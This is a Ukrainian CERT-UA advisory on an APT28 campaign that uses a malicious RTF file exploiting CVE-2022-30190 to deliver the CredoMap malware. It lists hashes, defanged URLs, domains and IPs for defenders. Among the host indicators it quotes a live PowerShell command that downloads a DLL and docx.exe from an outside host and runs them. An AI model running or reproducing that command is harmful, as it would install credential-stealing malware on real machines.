Кібератака групи APT28 з використанням шкідливої програми CredoMap (CERT-UA#4843)

Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA виявлено шкідливий документ "Nuclear Terrorism A Very Real Threat.rtf" відкриття якого призведе до завантаження HTML-файлу та виконання JavaScript-коду (CVE-2022-30190), який забезпечить завантаження та запуск шкідливої програми CredoMap.

Мета-дані свідчать про модифікацію документу 09.06.2022, а отже його розповсюдження могло бути здійснене ще 10.06.2022.

За сукупністю характерних ознак вважаємо за можливе асоціювати виявлену активність з діяльністю групи APT28.

Індикатори компрометації

Файли:

```
eafa11070f213f16efc030f625a423d1
daaa271cee97853bf4e235b55cb34c1f03ea6f8d3c958f86728d41f418b0bf01    Nuclear
Terrorism A Very Real Threat.rtf
ab6c70af19f7d41a443feb8ccb57d264
14ae02c521b85e60b11393ffc0da5e25946c4775a84995800b73398df4bceffb
article.html
56a504a34d2cfbfc7eaa2b68e34af8ad
9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961
SQLite.Interop.dll (Легітимна DLL)
d3bddb5de864afd7e4f5e56027f4e5ea
2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933    docx.exe
(CredoMap)
```

Мережеві:

```
hXXp://kitten-268.frge[.]io/article.html
hXXp://kompartpomiar[.]pl/grafika/SQLite.Interop.dll
hXXp://kompartpomiar[.]pl/grafika/docx.exe
162[.]241.216.236
```

kitten-268.frge[.]io
frge[.]io (потребує додаткового моніторингу)
kompartpomiar[.]pl (вірогідно, скомпрометований веб-ресурс)
seo@specialityllc[.]com

Хостові:

%USERPROFILE%\docx.exe
%USERPROFILE%\SQLite.Interop.dll
cmd.exe /k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command '& {iwr http://kompartpomiar.pl/grafika/SQLite.Interop.dll -OutFile "C:\Users\$ENV:UserName\SQLite.Interop.dll";iwr http://kompartpomiar.pl/grafika/docx.exe -OutFile "C:\Users\$ENV:UserName\docx.exe";Start-Process "C:\Users\$ENV:UserName\docx.exe"}'

Графічні зображення